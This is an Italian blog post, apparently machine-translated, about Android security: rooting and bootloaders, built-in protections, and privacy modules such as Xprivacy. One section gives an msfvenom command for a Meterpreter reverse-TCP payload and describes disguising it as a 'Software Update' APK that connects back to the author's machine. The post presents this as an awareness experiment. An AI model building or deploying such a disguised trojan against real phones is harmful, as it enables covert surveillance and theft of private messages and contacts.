Fonte immagine: pixabay.com

Introduzione ad Android

In questo argomento, impareremo a conoscere Android e Open Source Security (OS). Android è una piattaforma open source. È molto simile a Linux, ma è ancora troppo diverso da Linux. Linux è troppo maturo rispetto ad Android. Quindi, questo è Chetan Nayak e benvenuto nel mio prossimo blog su Open Source Web Security. Ho scritto questo blog supponendo che la maggior parte di noi userebbe Android K, ovvero Kitkat o Android L, ovvero Lollipop.

Il motivo di Gingerbread e Jellybean ha avuto molti problemi di sicurezza open source che non posso discutere in questo singolo blog. Quindi, forse ne parlerò la prossima volta quando mi addentrerò più a fondo nelle versioni precedenti di Android. Quindi, fin d'ora, rimaniamo con KitKat e Lollipop.

Android è stato progettato pensando agli sviluppatori. I controlli di sicurezza sono stati progettati per ridurre l'onere per gli sviluppatori. Gli sviluppatori esperti di sicurezza possono facilmente lavorare e fare affidamento su controlli di sicurezza flessibili. Gli sviluppatori che non hanno familiarità con la sicurezza saranno protetti da impostazioni predefinite sicure.

L'inizio

Non ero molto interessato all'androide fino all'ultimo trimestre del 2013, quando avevo il mio primo cellulare Android che era Sony Xperia L (basato su 4.2.2 da allora). Diamine, ho persino odiato Android perché il motivo era estremamente lento, specialmente i dispositivi Samsung. All'epoca avevo persino preso in considerazione l'acquisto di un Windows Lumia, ma per fortuna giocavo a molti giochi e dovevo comprare Xperia L poiché questa cellula era una Prova Lag. Aveva circa 1 concerto di RAM e Adreno 305. Abbastanza bello da far funzionare qualsiasi cosa.

Dopo aver giocato a molti giochi come NOVA3 e ModernCombat4, mi sono annoiato di quella cella in un mese. Sapevo che Android era basato su Linux e volevo apportare alcune delle mie modifiche al riguardo. Ho iniziato a leggere sulle personalizzazioni e ho appreso ciò che è stato chiamato 'Rooting'. Dato che avevo un buon rovescio in Linux, il rooting non era un problema per me. Con un po 'di aiuto da XDA, sono stato in grado di eseguire il root del mio cellulare con successo.

Ma poi qualcosa mi ha colpito. Non appena il mio cellulare si è riavviato dopo il rooting, ha appena iniziato il boot-loop (bloccato nella schermata di avvio per sempre). Non sapevo nemmeno cosa fosse il bootloader in Android. Quindi, non c'era niente che potessi fare. Fu solo un mese che mi comprarono la mia nuova cella e la mia cella era ora con mattoni a vista. Ho sempre letto che il rooting è pericoloso, ma non sapevo che avrebbe danneggiato il mio cellulare. Ma mi sbagliavo. Mentre continuavo a leggere una e tutte le altre cose sul rooting, sono venuto a sapere che il rooting non blocca il telefono.

Il rooting è semplicemente simile all'accesso amministratore in un computer (in realtà si tratta di un accesso al sistema, ma ho scritto Accesso amministratore, quindi è facile da capire per nessuno). Ciò significa che il rooting non bloccherà mai il tuo telefono. È stato il bootloader a murare il mio telefono. Per le persone che non conoscono il bootloader è; bootloader è simile al BIOS in Windows. (Se non sai cos'è il BIOS, allora non dovresti nemmeno leggere pensando alla sicurezza in primo luogo.) Bootloader o Hboot (questo è ciò che si chiama in Android) è la prima cosa che viene eseguita all'avvio del tuo Android dispositivo.

Contiene le istruzioni per l'avvio del kernel del sistema operativo e la maggior parte di esse sono progettate specificamente per eseguire il proprio ambiente di debug o modifica.

Il Security CheckPoint di Android

Pensa al bootloader come al checkpoint di sicurezza del tuo dispositivo. Se rompi questo checkpoint, perderai tutto ciò che hai sul telefono. Quindi, è una buona funzionalità di sicurezza che dico. Perché se perdi il telefono e qualcuno cerca di ottenere l'accesso come root per bypassare il blocco (supponendo che tu abbia bloccato il tuo dispositivo con un pin o una password.), Dovrà obbligatoriamente sbloccare il bootloader, il che comporterà la cancellazione dei tuoi dati al telefono.

Quindi, non devi preoccuparti che qualcuno lo usi in modo improprio. Quindi, simile è il caso delle ROM personalizzate. Le ROM sono sistemi operativi basati su versioni Android appositamente progettate per la tua architettura hardware. Quindi, se controlli XDA, per il tuo telefono, avrai n un numero di ROM personalizzate per i tuoi telefoni, alcuni dei più famosi sono Cyanogen Mod ROM, che sono già pre-rootati e vengono forniti con un set predefinito di personalizzazioni .

Security OverRide di Android

Potresti pensare che hai un telefono cellulare sicuro. Ma sono qui per provare ancora una volta che ti sbagli e questo è il punto centrale di questo blog. Nel secondo trimestre del 2014, le persone avevano già iniziato a sviluppare exploit e rootkit per Android, che potevano eseguire il root dei telefoni cellulari senza nemmeno sbloccare i bootloader.

Non abbastanza spaventoso? Lascia che ti dica la parte più pericolosa. Potrebbero persino installare Trojan all'interno. Quindi, anche se i poliziotti riuscissero a rintracciare il cellulare e tu riuscissi a riavere il tuo cellulare, c'è ancora un alto rischio che possano vedere tutto ciò che fai sul tuo telefono. Questo è qualcosa che ho provato come esperimento in un vero ambiente pratico.

Ho usato Metasploit per questo attacco. Quello che ho fatto è stato creare un Trojan e installarlo nel telefono di destinazione. Era un semplice file apk e l'ho chiamato Aggiornamento software. Quindi, se l'utente è solo un uomo comune con solo bit e byte di informazioni sulla sicurezza, non oserà nemmeno rimuoverlo. E ho fatto in modo che, ogni volta che Internet fosse attivato, il malware che avevo creato si eseguisse automaticamente e si ricollegasse alla mia porta remota sul computer host.

I seguenti comandi sono stati utilizzati per l'attacco (Metasploit è un software di test di penetrazione che aiuta a controllare le vulnerabilità su una piattaforma o dispositivi specifici.)

Indirizzo IP host personale: 192.168.xx.xx

Porta host personale (per riconnettersi): 445

>>>msfvenom

>>> msfvenom android / meterpreter / reverse_tcp LHOST = 192.168.xx.xx LPORT = 445> SoftwareUpgrade.apk

Quindi, qui ho creato un canale TCP inverso sul mio computer. Quindi, ogni volta che Internet si avvia su Android, aprirò una shell sulla mia macchina Kali o sulla macchina su cui ho installato Metasploit.

Quindi, ora sai quanto è spaventoso per una persona che non conosci nemmeno, ha i record di ogni transazione che fai attraverso il tuo cellulare, ogni altro contatto, i messaggi WhatsApp, SMS, Viber e il registro delle chiamate Skype e tutto. Se ciò non fa paura, non so cosa sia.

Corsi consigliati

  • Corso di certificazione in debug Ruby
  • Corso MySQL PHP completo
  • Corso di certificazione online in programmazione VB.NET
  • Corso online sulla Fondazione ITIL

La copertura

Basta con problemi di sicurezza. Sappiamo tutti che ogni altra piattaforma ha problemi di sicurezza. Come potremmo essere sicuri allora? Questo non è esattamente vero. Le piattaforme possono essere rese sicure fino a un punto specifico, ma successivamente dipende da noi assicurarsi che rimanga tale. C'è una citazione infame nel mondo della sicurezza:

"Ingegneria sociale: perché non esiste patch per la stupidità umana"

Ho sentito questa frase molto tempo fa mentre stavo guardando una Conferenza di DefCon.

Quando non c'è vulnerabilità tecnica da sfruttare, dovresti provare a violare gli umani. E, con ciò, non intendo ipnotismo e cose del genere. Intendo ingegneria sociale. Puoi leggere il mio altro blog "Importanza della sicurezza informatica nella nostra vita quotidiana" per ulteriori informazioni al riguardo.

Funzione di sicurezza principale di Android

Inoltre, il social engineering, che è qualcosa che può essere curato solo se sei intelligente; ci sono modi su come sviluppare applicazioni Android in modo sicuro per assicurarsi che rimanga tale.

Ecco quindi alcune delle principali funzionalità di sicurezza che ti aiutano a creare app sicure:

  • Sandbox di applicazioni Android, che isola i dati delle tue app e l'esecuzione del codice da altre app.
  • Un framework applicativo con solide implementazioni di funzionalità di sicurezza comuni come crittografia, autorizzazioni e IPC sicuro.
  • Un file system crittografato che può essere abilitato per proteggere i dati su dispositivi smarriti o rubati.
  • Autorizzazioni concesse dall'utente per limitare l'accesso alle funzionalità di sistema e ai dati utente.
  • Autorizzazioni definite dall'applicazione per controllare i dati dell'applicazione in base all'app.

Cosa puoi fare se desideri un ambiente sicuro ma non sei uno sviluppatore?

A partire da Android 5, ovvero Lollipop, offre una funzione in cui l'utente può aggiungere più profili e modalità limitate per utilizzare telefoni e tablet. Inoltre, se hai effettuato il root del tuo telefono, ci sono app Android nei moduli Xposed come AppOps, Xprivacy o Privacy Guard che possono aiutarti a occuparti di quasi tutto. Per questo è necessario installare Xposed Framework.

Xposed Framework è ciò che consente ai moduli Xposed di funzionare. I moduli Xposed consentono di modificare il comportamento dei file Apk e dei file di sistema senza la necessità di installare una ROM diversa. È anche facile annullare le modifiche, quindi qui c'è poco rischio e non richiede nemmeno tempo poiché non è necessario eseguire il flashing di più ROM, kernel e correzioni di bug.

Xprivacy, Privacy Guard e AppOps sono moduli di esposti che ti consentono di rendere sicuro il tuo Android scegliendo quale app dovrebbe avere accesso a ciò come Internet, tastiera, sdcard, accesso root e molte altre cose. Puoi persino disabilitare l'accesso solo a servizi specifici e creare modelli definiti dall'utente per questo. Per quanto mi riguarda, preferisco scegliere Xprivacy. Ma qui ci sono alcune informazioni o differenze se ti permetti di differire per scegliere tra i tre sopra.

AppOps:

Questo è stato originariamente introdotto da Google in Android 4.3. (Questo è il motivo principale per cui non lo sostengo. Non mi fido di Google. Chiamalo Paranoia, ma google traccia tutto ciò che fai. E non ho bisogno di qualcuno che tenga traccia di tutto ciò che faccio, ma se ti fidi di Google, Fallo.). La principale limitazione di AppOps è che Google ti consente solo di bloccare l'accesso alle app che desidera bloccare.

Questo significa che se desideri bloccare app correlate a Google, come Play Services (che in realtà consuma più del 50% della tua normale memoria, batteria e dati (internet)) non potrai farlo. Questa è un'altra ragione per odiare Google. Quindi, credo che AppOps non sia altro che un malware per me. (ma sono solo io a pensarla in quel modo, non è se ti fidi di Google solo di cuore)

Protezione della privacy:

Privacy Guard è un'interfaccia semplice da usare realizzata in sostituzione di AppOps da Cyanogen Mod. Se sei un principiante, allora ti suggerisco di usarlo, dal momento che ha solo un pulsante di attivazione / disattivazione e modelli auto-definiti su quale tipo di app dovrebbe avere accesso a cosa. Questo non è così sicuro se c'è un malware che agisce o si imita come un'app di sistema. Ma è bello iniziare.

Xprivacy:

Xprivacy è uno strumento tutto in uno. Ma è rivolto agli esperti. Puoi confrontarlo con un coltellino svizzero. Ha tutto dentro e può rendere il tuo telefono sicuro in ogni altro modo, ma se non sai cosa stai facendo, rovinerà solo il tuo telefono e impedirà anche alle app di avviarsi. Puoi anche limitare l'accesso alle App di sistema. Questo è ciò che preferisco personalmente scegliere.

Oltre ai moduli di cui sopra, ci sono anche altri moduli come Lightening Firewall o BootManager in Xposed, che possono aiutare a limitare l'accesso a Internet per app specifiche e impedire l'avvio delle app insieme al sistema quando si riavvia un telefono.

Quindi, sarebbe questo per questo blog. In caso di problemi di sicurezza, puoi sicuramente visitare o essere un membro del sito Web XDA che può fornirti molte più informazioni sulla privacy.

Articoli consigliati: -

Questa è stata una guida per Android. Qui abbiamo discusso il concetto di base, i punti di controllo di sicurezza e la funzione di sicurezza di base di Android. Puoi anche consultare i nostri altri articoli suggeriti per saperne di più -

  1. Domande di intervista per Android - Le 10 domande utili principali
  2. 8 utili alternative Siri per Android
  3. 28 migliori consigli e trucchi per gli strumenti di sviluppo di app Android
  4. Carriere nello sviluppo Android

Categoria:

Sviluppo software